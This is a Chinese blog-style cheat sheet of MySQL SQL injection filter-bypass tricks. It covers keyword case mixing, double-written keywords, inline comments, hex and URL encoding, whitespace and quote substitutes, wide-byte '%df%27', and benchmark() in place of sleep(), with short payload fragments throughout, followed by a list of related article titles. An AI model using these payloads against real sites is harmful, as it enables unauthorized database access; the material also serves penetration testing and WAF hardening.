参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313

https://www.cnblogs.com/vincy99/p/9642882.html

目录:

  1. 大小写绕过
  2. 双写绕过
  3. 内联注释绕过
  4. 编码绕过
  5. <>绕过
  6. 注释符绕过
  7. 对空格的绕过
  8. 对or/and的绕过
  9. 对等号=的绕过
  10. 对单引号的绕过
  11. 对逗号的绕过
  12. 过滤函数绕过

0x01 大小写绕过

UniOn SeleCt

0x02 双写绕过

ununionion seselectlect

0x03 内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

and /*!select*/ 1,2

0x04 编码绕过

16进制绕过:

select * from users where username = test1;
select * from users where username = 0x7465737431;

对关键字进行两次url全编码:

1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2

unicode编码对部分符号的绕过:

单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09

0x05 <>绕过

某些网站过滤了“<>”符号才行:

unio<>n sel<>ect

0x06注释符绕过

uni/**/on se/**/lect

0x07对空格的绕过

/**/
%20 %09
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

0x08 对or/and的绕过

and = &&
or = ||

0x09 对等号=的绕过

不加通配符like执行的效果和=一致,所以可以用来绕过;

rlike的用法和上面的like一样,没有通配符效果和=一样;

regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

<> 等价于 !=  ,所以在前面再加一个!结果就是等号了

?id=1 or 1 like 1
?id=1 or 1 rlike 1
?id=1 or 1 regexp 1
?id=1 or !(1 <> 1)或者1 !(<>) 1

0x10 对单引号的绕过

宽字符

# 过滤单引号时
%bf%27 %df%27 %aa%27

使用十六进制

'users'=>0x7573657273

0x11 对逗号的绕过

盲注中使用 from n1 for n2 ,其中n1代表从n1个开始读取n2长度的子串

select substr("string",1,3);
等价于 select substr("string" from 1 for 3);

使用join关键字来绕过

union select 1,2,3
等价于 union select * from (select 1)a join (select 2)b join(select 3)c

使用offset关键字:

适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2

0x12 过滤函数绕过

sleep() -->benchmark()

and sleep(1)
等价于 and benchmark(1000000000,1)

group_concat()–>concat_ws()

select group_concat("str1","str2");
等价于 select concat_ws(",","str1","str2");

sql注入常见绕过技巧的更多相关文章

  1. Web安全之SQL注入(原理,绕过,防御)

    首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要1 schemata:表里包含所有数据库的名字2 tables:表里包含所有数据库的所有的表,默 ...

  2. 跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧

    背景 模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧.并研究下PHP的防御代码. 普通的bWAPPSQL注入的简单介绍 ...

  3. 预防XSs和sql注入常见分析

    SQL注入简介SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可 ...

  4. sql注入用<>绕过被过滤的select ——百度杯9月第二场SQL

    题目提示SQL注入,打开源代码发现<!--SELECT * FROM info WHERE id=1--> 尝试union select 1,2,3提示inj code! 经过多次尝试之后 ...

  5. 登陆页面Sql注入(绕过)

    如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对 ...

  6. SQL注入WAF绕过姿势

    (1)大小写绕过 此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种. 这里有道题 (2)替换关键字 这种情况下大小写转化无法绕过而且正则表达式会替 ...

  7. SQL注入的绕过

    一.常用符号的绕过 1.空格 1 空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 2 括号绕过:常用于基于时间延迟的盲注,例如构造语句: ?id=1 ...

  8. SQL注入的一些技巧分享

    先上一道简单的ctf注入题: 一道利用order by进行注入的ctf题 很不错的一道利用order by的注入题,之前不知道order by除了爆字段还有这种操作. 原题地址:http://chal ...

  9. 发现sql注入的一些技巧

    1.如果一个'导致错误,试着查看\'能否成功(因为反斜杠在MySQL中取消了单引号)2.你也可以尝试注释掉,--',看页面返回是否正常.3.如果正常的输入只是一个整数,你可以尝试减去一些量,然后查看减 ...

随机推荐

  1. Apache开启GZIP 压缩网页

    首先我们先了解Apache Gzip的相关资料. 一.gzip介绍 Gzip是一种流行的文件压缩算法,现在的应用十分广泛,尤其是在Linux平台.当应用Gzip压缩到一个纯文本文件时,效果是非常明显的 ...

  2. Ansible 学习目录

    1. Ansible 安装 2. Ansible hosts 文件配置 3. Ansible 常用模块 4. Ansible playbook使用

  3. jq根据table的tr行数动态删除相应的行

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  4. matplotlib如何画子图

    目录 前言 常用的两种方式 方式一:通过plt的subplot 方式二:通过figure的add_subplot 方式三:通过plt的subplots 如何不规则划分 前言 Matplotlib的可以 ...

  5. CentOS 7.6下安装 NVM 管理不同版本的 Node.js

    学习网站:https://www.linuxidc.com/Linux/2019-10/160918.htm

  6. oracle11g R2数据库的迁移(同windows系统迁移)使用RMAN

    实验环境:windows 2008 R2 & windows 2008 R2 Oracle版本:11.2.0.1.0 源数据库端: 为保证在恢复之后的数据库中得到一致的数据,应禁止用户对数据的 ...

  7. h5笔记1

    1.HTML中不支持 空格.回车.制表符,它们都会被解析成一个空白字符 2.适用于大多数 HTML 元素的属性: class 为html元素定义一个或多个类名(classname)(类名从样式文件引入 ...

  8. 基于 HTML5 和 Canvas 实现的 3D 垃圾分类系统

    前言 垃圾分类,一般是指按一定规定或标准将垃圾分类储存.分类投放和分类搬运,从而转变成公共资源的一系列活动的总称.分类的目的是提高垃圾的资源价值和经济价值,力争物尽其用.垃圾在分类储存阶段属于公众的私 ...

  9. 常用MySQL操作

    常用MySQL操作 更改MySQL数据库root的密码 将绝对路径加入环境变量并设置开机启动 # PATH=$PATH:/usr/local/mysql/bin # echo "PATH=$ ...

  10. RX.js6变化

    RX.js变化 RxJS 6主要用于Angular应用程序,从Angular 6开始,它是一个强制依赖. 与RxJS版本5相比,RxJS 6(或更高版本)引入了两个重要更改: 1. import的导入 ...